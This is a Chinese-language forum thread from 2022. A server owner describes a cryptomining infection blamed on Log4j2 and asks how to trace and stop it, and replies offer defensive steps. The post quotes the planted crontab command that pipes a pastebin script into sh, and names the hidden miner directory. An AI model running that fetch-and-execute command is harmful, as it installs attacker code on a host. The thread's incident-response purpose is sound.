服务器被挖矿，找到相关文件及计划任务， google 过关键词得知是 Log4j2 漏洞导致被入侵，想知道该病毒运行的逻辑，找不到相关 sh 文件，求大佬指点。

Distributions

中文资源站

› 网易开源镜像站

This topic created in 1523 days ago, the information mentioned may be changed or developed.

环境介绍： 1 、redhat 6.3 2 、对外开启了 9000:80 端口的映射 3 、强密码验证（限制指定 IP 通过 ssh 连接）

已知信息： 1 、crontab -l 得知被添加了计划任务：curl -fsSL https://pastebin.com/raw/8DdBvkRn | sh （我尝试得到该脚本，但是请求出来只是字符串‘#endif’，我该如何得到该病毒脚本？ top 查看进程时候有看到 /tmp/.mimu/apache.sh ，但是实际去查看该病毒目录，并没有发现脚本，是否加载在内存中，实际脚本已被删除？） https://imgur.com/Huflmd7 https://imgur.com/2PZNjXR

2 、已知该脚本会生成隐藏目录 /tmp/.mimu/，下面包含挖矿程序 kthmimu 及配置文件 config.json https://imgur.com/Huflmd7

已自行尝试复现的测试： 1 、尝试 curl -fsSL https://pastebin.com/raw/8DdBvkRn | sh ，但是我并没有发现脚本文件及复现

求助： 1 、如何找出该脚本及实现逻辑？ 2 、如何防范？

curl

fssl

脚本

文件

15 replies • 2022-04-07 15:49:35 +08:00

MilkShake

Apr 6, 2022

你的项目是在宿主机运行还是容器内，如果是在容器内，去容器的目录下看看。

callmebigfaceman

Apr 6, 2022

@aaa5838769 宿主机内

Jinnyu

Apr 6, 2022

看样子应该是 https://pastebin.com/raw/8DdBvkRn 被访问后, 服务端删除了里边的内容,
防止脚本内容泄露

可以分析下 apache.sh 的脚本内容看看都连接了哪些端口
1. 先禁止下端口访问
2. 通过 chattr 修改文件权限, 禁止写入 /tmp/.mimu
3. 复查所有常用二进制文件 MD5 (cd, mv, cp, ps, ls, top 等)